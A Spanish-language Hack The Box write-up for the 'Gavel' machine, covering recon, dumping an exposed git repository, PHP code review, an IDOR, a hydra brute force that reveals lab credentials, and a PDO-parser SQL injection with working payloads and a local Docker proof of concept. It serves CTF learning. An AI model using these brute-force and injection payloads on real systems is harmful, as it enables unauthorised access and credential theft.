Gavel - Medium - Hack The Box
Introducción
Estructura del POST
Tras bastante tiempo sin publicar un write-up, he decidido cambiar el enfoque y, en vez de explotar directamente el vector principal de ataque, voy a explicar mi proceso mental a la hora de realizar el CTF. Además, al explotar vulnerabilidades intentaré explicarlas lo más a bajo nivel posible y aportar PoCs en local para analizar la raíz del problema. De ahí la gran longitud de este post.
Contenido
En este post veremos cómo explotar la máquina Gavel de HTB. Una máquina interesante donde se cubren escenarios y vulnerabilidades que nos podríamos encontrar en un entorno real. El vector principal de explotación será: Dump del repositorio de git expuesto por HTTP -> Análisis de código -> Fuerza bruta de credenciales web (Vector no intencionado, Parcheado) O SQLi abusando de una vulnerabilidad en el parser de PDO (Vector real) -> Explotar RCE a través de runkit_function_add() -> Movimiento Lateral con reúso de credenciales -> Explotación de un Binario Custom con inyección de código PHP sobre contexto de root.
Reconocimiento
Reconocimiento de Puertos
Escaneamos el Host en busca de puertos abiertos, la herramienta más utilizada para este propósito es nmap.
Este comando nos devuelve los puertos TCP abiertos en el host objetivo:
1 | nmap -sS -T4 -p- --open -oN Open_Ports 10.10.11.97 |
| Parámetro | Descripción |
|---|---|
-sS |
SYN scan (“half-open”): envía SYN y analiza la respuesta sin completar el 3-way handshake (más sigiloso/rápido que un connect scan) |
-T4 |
Plantilla más rápida a costa de ser más ruidosa y con mayor riesgo de falsos negativos en redes inestables, pero en entornos CTFs suele funcionar bien y no se salta posibles puertos abiertos a diferencia de -T5. |
-p- |
Escanea todo el rango de puertos (1–65535). |
--open |
Muestra solo puertos detectados como abiertos (oculta cerrados/filtrados). |
-oN Open_Ports |
Guarda la salida en formato “normal” en el archivo Open_Ports. |
10.10.11.97 |
IP/host a escanear. |
El Host tiene los puertos TCP 22 y 80 abiertos, estos puertos suelen correr los servicios SSH y HTTP respectivamente.
1 | Nmap scan report for gavel.htb (10.10.11.97) |
Lanzamos nmap utilizando los scripts por defecto:
1 | nmap -sCV -T3 -p 22,80 -oN Objective_Ports 10.10.11.97 |
| Parámetro | Descripción |
|---|---|
-sC |
Ejecuta los scripts por defecto de NSE (equivale a --script=default). |
-sV |
Detecta versiones de servicios en los puertos encontrados. |
-T3 |
Timing normal/balanceado (más fiable y menos ruidoso que -T4/-T5). |
-p 22,80 |
Escanea solo los puertos TCP 22 y 80. |
-oN Objective_Ports |
Guarda la salida en formato “normal” en el archivo Objective_Ports. |
10.10.11.97 |
IP/host a escanear. |
1 | PORT STATE SERVICE VERSION |
El script http-git de nmap ha detectado un repositorio git subido al servidor Web, con algo de suerte el repo contendrá el código fuente de la aplicación o secretos que nos permitan avanzar en la máquina. Vamos a seguir con el Recon, y cuando tengamos una idea de a qué nos enfrentamos pasamos a analizar el repo.
Reconocimiento Web
Fuzzing De Directorios
Mientras realizamos un análisis pasivo de la página Web habitualmente dejo un escáner en busca de directorios sensibles, archivos que no se puedan descubrir de forma pasiva y archivos de backup que puedan tener el código fuente o información sensible. Para determinar la lista de extensiones más eficiente, utilizo la extensión del motor utilizado en el backend como base, en este caso, PHP.
1 | feroxbuster -u http://gavel.htb/ \ |
| Param | Desc |
|---|---|
| -u | URL Objetivo |
| -w | Diccionario |
| -x | Añade la extensión dada al final de cada palabra de la lista |
| –dont-scan | Evita la ruta dada, en este caso he quitado assets para quitar ruido, pero en un ctf/pentest os recomiendo escanear todo, nunca se sabe dónde te vas a encontrar información relevante |
Tras analizar el output no se ve nada “interesante” que no haya podido descubrir de forma pasiva navegando por la Web:
1 | 200 GET 78l 213w 4281c http://gavel.htb/login.php |
Análisis Web
Tras analizar la Web de pasada os voy a comentar mis pensamientos y conclusiones que he obtenido en cada endpoint.
Register.php (Web)
Nos permite registrar usuarios, una vez registrado podemos loguearnos con el usuario el cual recibirá 50000 coins, estas nos permitirán pujar por items. El backend implementa un filtro que solo permite utilizar caracteres alfanuméricos, evitando vulnerabilidades de inyección como HTMLi, XSS, etc.
Login.php (Web)
Nos permite loguearnos en la aplicación. Aunque aparezca una función de recuperación de contraseña esta no es funcional.
Index.php (Web)
La página principal donde nos introduce la aplicación.
En el index.php aparece una sección de Testimonies donde los usuarios dejan sus reseñas, sin embargo, no se ha encontrado la función donde podamos crear nosotros nuestros propios comentarios, la cual podría ser un posible vector de explotación. En ctfs/pentest es importante leer el contenido de la página en busca de “pistas” que nos puedan revelar información de la página Web.
Podemos considerar el siguiente contenido como de valor para un atacante:
After the Great Goblin Uprising of ‘22, one lone, sleep-deprived developer (Hi!) forged a new system wrapped in more wards, scripts, and sanity checks than a necromancer’s tax return.
Parece ser que el developer no estaba en sus plenas condiciones a la hora de desarrollar la Web, es posible que podamos encontrar algún fallo que otro.
Now our auctioneers wield an arcane Rule Engine so over-engineered it occasionally gains sentience and denies bids for “being too chaotic.” Every item is verified. Every bid scrutinized. Every loophole patched, re-opened, and patched again with duct tape and mild hexes.
Se ha implementado un motor de reglas innecesariamente complejo, importante tenerlo en cuenta.
OwlexaPrime [banned] — (0/5 curses)
“Site said ‘intelligent bidding system’ — I still outsmarted it.”
Revisando los testimonios parece ser que un usuario llamado OwlexaPrime deja ver que ha Derrotado/Hackeado el sistema de bidding. La cuenta ha sido baneada.
Sería lógico pensar que cada testimonio equivale a una cuenta real, por lo que podríamos crear una primera lista de users para un futuro ataque de fuerza bruta/credential guessing.
Instalar el parser htmlq (Arch Based):
1 | pacman -S htmlq |
Curl para extraer todos los usuarios en la sección Testimonies utilizando htmlq:
1 | export gavel_cookie=<your_cookie_value>; |
1 | Wizard's Expired Library Card |
Inventory.php (Web)
Muestra los objetos adquiridos por el usuario. Tiene dos modos de filtrado Name y Quantity, que son pasados por una requests POST a través del parámetro sort.
Las requests generadas son:
1 | POST /inventory.php |
1 | POST /inventory.php |
Si nos fijamos en el body de la requests vemos que nuestro user_id es 2, con esta información podemos deducir dos puntos.
- Antes de crear nuestro user ya existía uno. ¿Puede que el
user_id=1sea el admin? - La lista de Users que hemos creado solo podría tener un user válido, ya que el
user_id=2indica que no había más de 1 usuario creado antes de nosotros.
Además a primera vista parece que existe un IDOR explotable sobre el parámetro user_id, permitiendo visualizar los items de otros usuarios. Veremos por qué pasa esto cuando analicemos el código fuente.
Bidding.php (Web)
Sistema de pujas, el cual permite pujar por los items a través de una petición post con los parámetros auction_id y bid_amount.
Aparecen un máximo de 3 items en la tienda, los cuales al terminar el tiempo recargarán la página con una requests GET a /bidding.php para ser reemplazados por un item nuevo, además parece que cada item trae un mensaje que indica una regla a seguir para poder pujar. Esta regla se comprueba en el backend.
Request generada al pujar:
1 | POST /includes/bid_handler.php |
Admin.php (Web)
No parece accesible por nuestro usuario, ya que se nos redirige a index.php, por lo que podemos casi asegurar que existe un rol admin el cual sí nos permitiría acceder a esta página.
1 | http://gavel.htb/admin.php => index.php |
/includes/ Páginas PHP sin contenido HTML
Las siguientes páginas no devuelven contenido, pero son accesibles por el usuario. Aunque las páginas no tengan contenido HTML que podamos consultar como clientes no significa que no puedan esconder vulnerabilidades, ya que, es posible que el código PHP que albergan pueda llegar a utilizar user input sin sanitizar y el atacante solo necesite hacer una requests a estos endpoints.
1 | http://gavel.htb/includes/db.php |
Análisis Del Repositorio Leakeado
Git Dumping
Como ya vimos en la fase de reconocimiento de puertos, nmap nos marcó la existencia de un repo en el servidor Web, por lo que podemos verlo directamente desde http://gavel.htb/.git/ o dumpear el repo con una tool como git-dumper.
1 | python3 -m venv git-dumper |
1 | ./git-dumper/bin/git-dumper http://gavel.htb/ gavel_repo |
Git Recon
Cuando nos encontramos un repo leakeado de git, aparte de buscar el código backend en busca de vulnerabilidades también debemos analizar el repo en su conjunto en busca de posibles secrets, commits interesantes, ramas de desarrollo, etc…
En mi opinión es la forma más recomendada si el repo tiene unas dimensiones manejables
1 | git branch --list |
1 | git log --all --oneline --graph --decorate |
Output:
1 | * f67d907 (HEAD -> master) .. |
1 | git show f67d907 |
Trufflehog es una tool que nos permite escanear repos en busca de secretos.
1 | pacman -S trufflehog |
1 | trufflehog git file://gavel_repo --results=verified,unknown |
Tras un vistazo general y excluyendo el código backend no se ha encontrado ninguna información demasiado relevante, exceptuando un posible usuario [email protected] en el archivo de configuración del repo .git/config:
1 | cat -pp gavel_repo/.git/config |
1 | [core] |
Análisis del Código Backend
Como podemos ver no hay casi ningún archivo adicional que no hayamos podido encontrar mediante fuzzing o análisis pasivo, exceptuando el archivo default.yaml. Así que podríamos determinar que si existe alguna vulnerabilidad tendría que estar en estos archivos.
1 | tree -I "assets" |
1 | . |
¿Por qué no hemos encontrado default.yaml en la fase de Recon (fuzzing de directorios)?
Feroxbuster por defecto realiza una búsqueda recursiva, este había encontrado la ruta rules, pero como no le hemos pasado la extensión .yaml mediante -x no ha podido encontrarlo por fuerza bruta.
Si no quieres meter excesivas peticiones está bien no utilizar todas las extensiones posibles, simplemente las más relevantes para el aplicativo que estás analizando. Sin embargo, tras haber descubierto el directorio rules el enfoque correcto habría sido lanzar un fuzzing paralelo exclusivamente sobre la ruta http://gavel.htb/rules/ utilizando extensiones “típicas” para reglas yml,yaml,json,toml,ini,cfg,conf,properties,xml, fallo mío.
1 | feroxbuster --quiet -u http://gavel.htb/rules/ \ |
1 | 301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/ |
¿Por qué el archivo default.yaml nos habría aportado información de valor?
1 | curl http://gavel.htb/rules/default.yaml |
1 | rules: |
El archivo contiene un campo rule que encaja perfectamente con la sintaxis del motor utilizado por el servidor PHP, y además son las reglas exactas que se están utilizando por defecto en bidding.php, por lo que, si en algún momento podemos llegar a controlar/modificar el valor de rule es posible que podamos obtener inyección de código PHP, y un posible RCE a nivel de sistema. Con esta información podemos enfocar el análisis de código principalmente a encontrar una inyección en el motor de reglas.
Admin.php (Backend)
Como admin.php parecía ser el único endpoint sobre el cual no teníamos acceso y nos redirigía directamente a index.php vamos a analizar su código backend para entenderlo.
1 |
|
A primera vista parece que la aplicación solo permite acceso a usuarios con el rol auctioneer y permite al usuario con este rol actualizar los campos rule y message para un determinado item, el cual debe estar en proceso de subasta. Vamos a analizarlo paso por paso.
Este fragmento de código comprueba a nivel de servidor si tenemos un usuario con el rol
auctioneer:1
2
3
4if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}En el caso de que sí tengamos ese rol, vemos que este usuario podría hacer una Request a través de POST
1
2
3
4if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');Y en el caso de que el usuario envíe correctamente el auction_id, rule y message se hará una consulta SQL donde se actualizará la tabla auctions seteando los valores
rule,messagepara elauction_idque hemos pasado:1
2
3
4
5
6
7if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}Si esta petición tiene éxito nos devolverá el mensaje “Rule and message updated successfully!” Por lo que podemos concluir que si tenemos acceso con el rol auctioneer podríamos manipular los campos
ruleymessage.
Bid_Handler.php (Backend)
En este archivo se encuentra la vulnerabilidad la cual nos dará acceso al servidor, una inyección de código PHP que nos permite conseguir RCE.
1 |
|
¿Por qué esto es tan interesante? Si analizamos el código de bid_handler.php podemos ver que en el caso de estar logueados se abre la posibilidad de realizar una consulta a la tabla auctions filtrando por auction_id y sacando todos los campos, guardándolos en el array auction:
1 | if (!isset($_SESSION['user'])) { |
Se realizan varias comprobaciones para determinar si la puja es válida, y en tal caso guarda la información relevante:
Comprueba si la subasta está activa.
1
2
3
4if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) {
echo json_encode(['success' => false, 'message' => 'Auction has ended.']);
exit;
}Verifica si la puja es mayor que 0.
1
2
3
4if ($bid_amount <= 0) {
echo json_encode(['success' => false, 'message' => 'Your bid must be greater than 0.']);
exit;
}Calcula si la puja es mayor al precio de puja actual.
1
2
3
4if ($bid_amount <= $auction['current_price']) {
echo json_encode(['success' => false, 'message' => 'Your bid must be more than the current bid amount!']);
exit;
}Realiza una consulta SQL para determinar el dinero del usuario.
1
2
3$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();Si el dinero del usuario es menor a la puja no permite pujar.
1
2
3
4if (!$user || $user['money'] < $bid_amount) {
echo json_encode(['success' => false, 'message' => 'Insufficient funds to place this bid.']);
exit;
}Tras todas estas comprobaciones considera la puja válida y guarda la puja realizada como
current_bid, la puja anterior comoprevious_bid, y establece al usuario que puja comobidder.1
2
3$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;Más adelante el código extrae los campos
ruleymessagedel array auction, que si recordamos son los campos a los que el usuario con el rol auctioneer tiene acceso.1
2$rule = $auction['rule'];
$rule_message = $auction['message'];Seguidamente el código comprueba si la función con el nombre
ruleCheckya existe, si ya existe la borra y acto seguido vuelve a crear una función haciendo uso derunkit_function_add(). Esta función de PHP nos permite crear una función, donde el último argumento será la string que será ejecutada por PHP, un equivalente a lo que haría el constructor de lenguajeeval(), por lo que si un usuario tiene acceso al último parámetro utilizado en la función podría inyectar código PHP malicioso y que este se ejecute. En nuestro caso se puede ver cómo se está utilizando$rulesin sanitización alguna, ya que a la hora de hacer el update enadmin.phpno se realiza ningún tipo de comprobación:1
2
3
4
5
6
7
8try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
}
Perfecto, acabamos de ver una vía potencial para explotar un RCE. La única condición sería tener acceso a un usuario con el rol auctioneer.
Auction_watcher.php (Backend)
Nada relevante, pero se puede ver la ruta a nivel de sistema donde se encuentra el aplicativo:
1 | define('MAIN_PATH', '/var/www/html/gavel'); |
Explotación
IDOR
Como ya hemos comentado antes en inventory.php, existe un IDOR que nos permite consultar items de otros users. Esta vulnerabilidad no forma parte del path de explotación.
Código vulnerable
1 | $userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id']; |
El desarrollador está sacando el user_id directamente de la petición sin aplicar ningún tipo de comprobación de autorización en el backend. Al utilizar el operador ?? (coge el primer valor que exista y no sea null) se traduce en:
- Coge el userId del campo
user_idpor POST, si no: - Coge el userId del campo
user_idpor GET, si no: - Coge el userId de la sesión.
Lo correcto sería que si quieres sacar el user_id sí o sí de la petición compararlo con el $_SESSION['user']['id'], y si coinciden, utilizarlo, aunque lo más correcto sería sacar el $userId solo de la $_SESSION.
Tras sacar el $userId se utiliza en las consultas SQL sin ninguna otra comprobación, dando lugar al IDOR:
1 | $col = "`" . str_replace("`", "", $sortItem) . "`"; |
Explotación IDOR
La explotación es muy sencilla, ya que, los identificadores de usuarios son secuenciales, user_id=1,user_id=2,user_id=lastId+1. Podemos hacer un curl para extraer los items de cada user:
1 | curl -s -b 'gavel_session=<your_cookie_value>' -d 'user_id=<id>&sort=quantity' http://gavel.htb/inventory.php |
Si el usuario ha comprado algún item lo veremos reflejado en el html. Por defecto no hay usuarios con items en el inventario, por lo que no veremos nada.
RCE (FootHold)
Como ya hemos visto, para poder realizar la petición donde controlamos los parámetros rule y message necesitamos un usuario con privilegios administrador (rol auctioneer).
Conseguir Las Credenciales del Usuario Auctioneer
Para obtener este usuario existen dos vectores posibles:
- A través de brute force sobre el
login.php - Explotando una SQLi abusando de una vulnerabilidad en el parser de PDO.
Contacté con el autor de la máquina Shadow21A para ver cuál fue el path más utilizado por la gente, y me comentó que la mayoría obtuvieron el usuario realizando fuerza bruta, pero que este vector no era intencionado y que ha sido parcheado.
Web Login Brute Force (Mi path | Parcheado)
Podemos intentar realizar un ataque de fuerza bruta utilizando nombres de usuario que hemos podido inferir/obtener mediante recon y recordando que cuando nos hemos logueado ya existía un usuario con el user_id=1, el cual presumiblemente tenga el rol auctioneer. La primera lista de users que hemos podido generar es la siguiente:
1 | Wizard's Expired Library Card |
Antes de lanzar el comando tenemos que saber discernir un login correcto de uno incorrecto basándonos en su respuesta http. Partiendo de la base que hemos creado un usuario llamado void4m0n con la credencial void4m0n podemos testear el login
1 | curl -s -o /dev/null -w '%{http_code}\n' -d 'username=void4m0n&password=incorrectpass' http://gavel.htb/login.php |
Response: 200
1 | curl -s -o /dev/null -w '%{http_code}\n' -d 'username=void4m0n&password=void4m0n' http://gavel.htb/login.php |
Response: 302
En este caso la aplicación devuelve diferentes códigos de estado.
- Login Correcto:
- Devuelve el código 302 redirigiendo a
index.phpy seteando nuestra nueva cookie de sesión. Login Incorrecto: - Devuelve el código 200 mostrando el
login.phpcon el mensaje “Invalid username or password.”
- Devuelve el código 302 redirigiendo a
Para automatizar el ataque podemos utilizar la tool hydra, la cual permite realizar ataques de fuerza bruta sobre diferentes protocolos de forma eficiente. Hydra permite lanzar intentos de inicio de sesión utilizando múltiples hilos.
1 | pacman -S hydra |
1 | HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -u -L Users.txt \ |
| Componente | Explicación |
|---|---|
HYDRA_PROXY_HTTP=http://127.0.0.1:8080 |
Enruta el ataque de fuerza bruta a través del proxy dado, en este caso lo utilizo para que Burp Suite pueda interceptar las peticiones |
-u |
Hace que cada contraseña itere sobre todos los usuarios. Flag muy útil para CTFs, ya que habitualmente las contraseñas utilizadas por los creadores están al principio del rockyou.txt |
-L Users.txt |
Diccionario de usuarios |
-P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt |
Diccionario de contraseñas |
gavel.htb |
Host objetivo |
-V |
Activa el modo verbose |
http-form-post |
Módulo utilizado para formularios html que envían los datos por POST |
'/login.php:username=^USER^&password=^PASS^:S=302' |
Define la estructura de la solicitud HTTP POST. La primera parte (/login.php) es el endpoint, la segunda asigna los parámetros del formulario a los marcadores de usuario y contraseña de Hydra, y la última (S=302) indica que un código HTTP 302 representa un inicio de sesión exitoso. |
-t 64 |
Establece el número de hilos que se ejecutarán. 64 Hilos es excesivo para entornos reales, pero en CTFs no suele haber problemas. |
-I |
Indica a Hydra que ignore sesiones anteriores y parta de 0 |
-f |
Detiene la ejecución tras encontrar la primera credencial válida |
1 | [80][http-post-form] host: gavel.htb login: auctioneer password: midnight1 |
Tras 57892 peticiones ha encontrado unas credenciales válidas auctioneer:midnight1.
Estas credenciales pertenecen al user_id=1, y como ya habíamos predicho al principio, este usuario tiene el rol auctioneer. Con estas credenciales ya podemos acceder a admin.php y por tanto el vector de ataque para llegar al RCE es explotable.
SQLi Para Extraer la Credencial del Usuario Auctioneer (Descubierto a Posteriori)
Por norma general el desarrollador ha utilizado la librería PDO para pasar los parámetros utilizados en las consultas SQL a través de placeholders, es decir, está utilizando consultas parametrizadas.
1 | $sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name'; |
Pero cuando analizamos este fragmento de código, a mí parecer está pidiendo a gritos que explotemos una posible SQLi en campo $col, ya que solo se realiza una pequeña sanitización que reemplaza los backticks. ¿Será suficiente?
Consultas Parametrizadas
Lo primero que necesitamos entender es: ¿Qué es una consulta parametrizada?
Básicamente el objetivo de una consulta parametrizada es separar la consulta del input (generalmente input dado por el usuario) y pasarlo en forma de parámetros al motor SQL para que este lo inyecte en la consulta parametrizada en tiempo de ejecución, donde será tratado como un dato literal, evitando que el motor SQL interprete el input como sintaxis SQL.
¿Se pueden pasar estos parámetros en cualquier punto de la consulta?
No, de ahí que el desarrollador NO pase $col a través de un placeholder, los campos que sean identificadores como columnas, tablas, campos, etc., no se pueden pasar de esta forma, ya que el motor SQL los necesita ejecutar como lenguaje SQL.
IMPORTANTE, En PDO con MYSQL tiene activado por defecto el modo PDO::ATTR_EMULATE_PREPARES.
¿Qué Peligro tiene esto? En el modo de emulación el comportamiento difiere. El propio PDO con su parser CUSTOM inyecta los parámetros en sus respectivos placeholders, enviando al motor SQL la query final ya construida.
¿Es la sanitización suficiente?
En un primer momento al escapar los backticks nunca vas a poder cerrar el identificador, por lo que vas a generar un error y aunque escapes el ` final no vas a poder volver a cerrarlo con otro ` ya que str_replace() te lo va a reemplazar.
He creado un pequeño script en PHP que te pide el valor del parámetro $col y que devuelve la consulta que se utilizaría en el motor SQL, nos sirve para hacernos una idea de la sintaxis de nuestra inyección y como str_replace() cumple su función.
1 |
|
Para simular el entorno de gavel en local nos podemos crear un contenedor con docker y crear una pequeña réplica de los componentes de la bd que se utilizan en la consulta a testear.
Schema.sql:
1 | CREATE DATABASE IF NOT EXISTS gavel; |
Dockerfile:
1 | FROM mysql:8.4 |
Construir nuevo contenedor:
1 | docker build -t gavel-mysql . |
1 | docker run -d --name gavel-mysql \ |
Una consulta sin inyección con un identificador real como item_name:
1 | php sqli_simulator.php |
Esta consulta retornaría:
1 | MySQL [gavel]> SELECT `item_name` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC; |
Lo que nosotros querríamos sería utilizar un backtick para cerrar el identificador e inyectar nuestro SQL malicioso, el payload sería tal que item_name` @@version FROM inventory;#:
1 | MySQL [gavel]> SELECT `item_name`, @@version FROM inventory;#` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC; |
Aquí se puede ver que se ha completado la inyección, mostrándonos la versión de MySQL, pero claro el desarrollador filtra `, por lo que debemos utilizar el simulador para ver cómo quedaría la query con el mismo payload:
1 | ❯ php sqli_simulator.php |
Si utilizamos la consulta vemos que al no poder cerrar el identificador lo trata como si fuese el nombre de la columna, retornando un error. Naturalmente la columna con nombre item_name @@version FROM inventory;# no existe:
1 | mysql> SELECT `item_name @@version FROM inventory;#` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC; |
Así que tras multitud de intentos para evadir el filtro concluí que no era explotable, ya que no se puede evadir el filtro de ninguna manera.
Vulnerabilidad en el Parser de PDO
Voy a analizar la vulnerabilidad con una PoC en local para intentar entender el porqué de esta. Me he apoyado en el magnífico post A Novel Technique for SQL Injection in PDO’s Prepared Statements por hash_kitten, para una explicación más a bajo nivel os recomiendo leer su post.
PoC PDO Parser
Para recrear la vulnerabilidad en local me he basado en el código fuente de Gavel, pero en este caso retornará los errores generados por MYSQL o PDO. Básicamente esto nos ayuda a entender mejor qué está pasando por detrás y no ir a ciegas, que suele ser lo complicado de este tipo de vulnerabilidades.
Estructura de los archivos necesarios para la PoC:
1 | tree -a |
./php/Dockerfile:
1 | FROM php:<version_para_testear>-apache |
Podemos elegir la versión de la imagen del servidor PHP en función de que parser de PDO queramos utilizar.
Versión utilizada en gavel: php:7.4.33-apache
Versión que necesita nullbyte para ser explotada: php:8.4-apache
./php/src/includes/config.php:
1 |
|
./php/src/includes/db.php:
1 |
|
./php/src/Inventory.php:
1 |
|
./mysql/Dockerfile:
1 | FROM mysql:8.4 |
./mysql/schema.sql:
1 | CREATE DATABASE IF NOT EXISTS gavel; |
./mysql/conf.d/general-log.cnf
1 | [mysqld] |
Utilizamos esta configuración para guardar los logs que llegan a la bd en un archivo y así poder consultarlo para ver la consulta final que llega a la BD. PDO no permite ver la query antes de lanzarla al motor SQL.
1 | version: "3.9" |
Este docker compose levanta tres servicios:
db y web: MySQL funciona como el bloque persistente (los datos se guardan en el volumen dbdata y no se pierden al reiniciar). Tanto la base de datos como el servidor se exponen solo en local (127.0.0.1), así que si estáis conectados a la VPN HTB no deberíais preocuparos de que los servicios estén expuestos.
db-log: es un contenedor auxiliar (Utiliza BusyBox) que monta el mismo volumen dbdata en solo lectura y ejecuta un tail -F sobre mysql-general.log para mostrar en tiempo real las consultas/actividad que MySQL va escribiendo en ese log. Esto nos ayuda a ver cuál es la consulta final que llega al motor
Sobre el directorio padre podemos desplegar/bajar con los siguientes comandos:
1 | docker compose up |
1 | docker compose down |
PHP 7.4.33
En concreto esta es la versión de PHP que se está ejecutando en el servidor, es algo que a primera vista no podemos saber. Durante el recon no hemos visto ninguna cabecera o código que nos muestre la versión de PHP utilizada.
PDO en esta versión no tiene un parser custom para mysql, por lo que utiliza uno genérico, pdo_sql_parser.re:
1 | static int scan(Scanner *s) |
Cuando PDO necesita entender qué es cada carácter de la consulta y cómo debe comportarse recurre a este parser. ¿El problema? Muy simple, este no contempla los identificadores en MySQL. Todo el contenido de un identificador debería tratarse como texto. Si la consulta tuviese un identificador como este `columna1?`, el parser de PDO debería detectar que está entre ` y por tanto que es un identificador MySQL, interpretándose todo el contenido como texto, evitando que ? se trate como un placeholder válido. De ahí la importancia de tener un parser custom para cada motor SQL, esto se ha implementado en versiones futuras. (Con otra vulnerabilidad que explico más adelante).
Desplegamos el entorno que os he compartido con la imagen php:7.4.33-apache.
Realizamos una petición con curl utilizando parámetros que la aplicación utilizaría por defecto:
1 | ❯ curl -s -X POST --data-urlencode 'sort=Item_name' --data-urlencode 'user_id=1' 'http://127.0.0.1:8000/inventory.php' |
1 | === RESULT === |
El parser ha podido construir la consulta, ha interpretado item_name como texto, y ha inyectado el parámetro user_id en el único placeholder ? existente.
¿Qué pasaría si en vez de item_name le pasamos item_name??:
1 | curl -s -X POST --data-urlencode 'sort=Item_name?' --data-urlencode 'user_id=1' 'http://127.0.0.1:8000/inventory.php' |
1 | === ERROR (PDOException) === |
PDO nos ha devuelto una excepción a la hora de construir la consulta, nos dice que el número de placeholders vs el número de parámetros no encaja. PDO ve que solo tiene un parámetro $userId, pero detecta que tiene dos puntos para inyectarlo. ¿Conclusión? ¡Nuestro ? inyectado se está interpretando como un placeholder válido!
Esto es bastante peligroso, ¿por qué? Porque si recordáis lo único que está haciendo que $col no sea explotable es que str_replace() nos está escapando los backticks, por lo que no podíamos cerrar el identificador. Pero sobre $userId no se está realizando sanitización alguna, por lo que si podemos engañar a PDO para que no vea el último placeholder el contenido del parámetro user_id se inyectará en nuestro custom placeholder, es decir, si user_id=teleport y $col=Item_name?, la consulta que PDO construiría sería tal que:
1 | SELECT `Item_name'teleport'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC |
Sabiendo esto tenemos una SQLi de manual, simplemente tendríamos que conseguir cerrar el identificador desde user_id y que PDO ignore el segundo placeholder.
Intentamos cerrar el identificador con sort=item_name?; -- y user_id=`
1 | curl -s -X POST --data-urlencode 'sort=item_name?; --' --data-urlencode 'user_id=`' 'http://127.0.0.1:8000/inventory.php' |
1 | === ERROR (PDOException) === |
Aquí PDO nos está diciendo que tenemos un error de sintaxis, ya que la consulta ha quedado tal que:
1 | SELECT `item_name'`''; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC |
PDO interpreta el parámetro user_id como una string, por lo que el contenido de user_id lo pasa entrecomillado. Si sort=Item_name y user_id=1 en una consulta sin explotar quedaría tal que:
1 | SELECT `Item_name` FROM inventory WHERE user_id = '1' ORDER BY item_name ASC |
Pero al hacer sort=Item_name? y user_id=1, quedaría:
1 | SELECT `Item_name'1'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC |
Esto fallará, ya que PDO sigue viendo el segundo placeholder, y solo le hemos dado un parámetro que ya ha inyectado en nuestro custom ?.
Teniendo en cuenta estos detalles ya deberíamos saber todo lo necesario para construir un payload válido y generar una consulta correcta a nivel de sintaxis:
- Necesitamos inyectar un custom placeholder sobre
$sortpara confundir al parser de PDO y que nos inyecte el payload deuser_iddonde queremos. - Debemos hacer que PDO ignore el placeholder original. Esto se podría conseguir utilizando un comentario válido para el parser, en este caso
--. - Tener en cuenta que el payload localizado en
user_idse inyectará entrecomillado, por lo que el identificador de la columna será'loqueseay habrá una comilla al final de nuestro payload que habrá que intentar ignorar.
La consulta a la que querríamos llegar sería tal que:
1 | SELECT `'version` FROM (select @@version as `'version`)sqli;--'; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC |
user_id Payload: version` FROM (select @@version as `'version`)sqli;--
En qué consiste el payload:
| Elemento | Payload | Objetivo |
|---|---|---|
| Identificador de columna | version |
version será el identificador de columna que al inyectarse como string, pasa a verse como 'version. |
| Subconsulta + alias | FROM (...) sqli |
Se mete una subquery dentro del FROM y se le pone alias sqli (equivalente a FROM (query) AS sqli). |
| Subquery y meter output en la columna | select @@version as \`'version` |
Devuelve la versión de MySQL y renombra la columna del resultado como 'version. Provocando que el select 'version exterior referencie a esa columna |
| Comentario | ; -- |
Cierra la consulta y comenta el resto, tiene como objetivo ignorar el ' que cerraba el contenido de user_input |
Sort Payload: \? --
| Elemento | Payload | Objetivo |
|---|---|---|
| Escape | \ |
Nos sirve para escapar la comilla inicial de 'versión, dando lugar al nombre de tabla \'version –> 'version. Básicamente evita que SQL interprete como carácter reservado y la interprete como texto. |
| Custom Placeholder | ? |
Posiciona en qué lugar de $sort vamos a inyectar el contenido de user_id |
| Comentario | -- |
Tiene como objetivo comentar el resto de la query, evitando que PDO lea el placeholder original |
Este conjunto de payloads conseguirá que PDO genere una consulta válida y se la envíe al motor SQL:
1 | SELECT `\'version` FROM (select @@version as `\'version`)sqli; |
Output:
1 | MySQL [gavel]> SELECT `\'version` FROM (select @@version as `\'version`)sqli;-- |
PDO parser >= PHP 8.4
Desde PHP 8.4 la librería PDO implementa un parser custom para cada motor. En nuestro caso estamos interesados en el parser de MySQL, mysql_sql_parser.re:
1 | int pdo_mysql_scanner(pdo_scanner_t *s) |
La gran diferencia frente al otro parser es que ahora sí que tiene en cuenta los identificadores de MySQL, por lo que el contenido entre backticks lo interpreta como texto, `Item_name?`, por lo que en este caso ? no será identificado como un placeholder válido.
Al igual que en la anterior PoC podemos probar este parser, lo único que tendríamos que cambiar es el dockerfile de PHP, indicándole que utilice la imagen php:8.4-apache.
Vamos a entender cómo funciona este nuevo parser, partimos de que el identificador es test?. El parser de PDO lo va a identificar como text, ya que cumple la regex para identificadores:
1 | ANYNOEOF = [\001-\377]; |
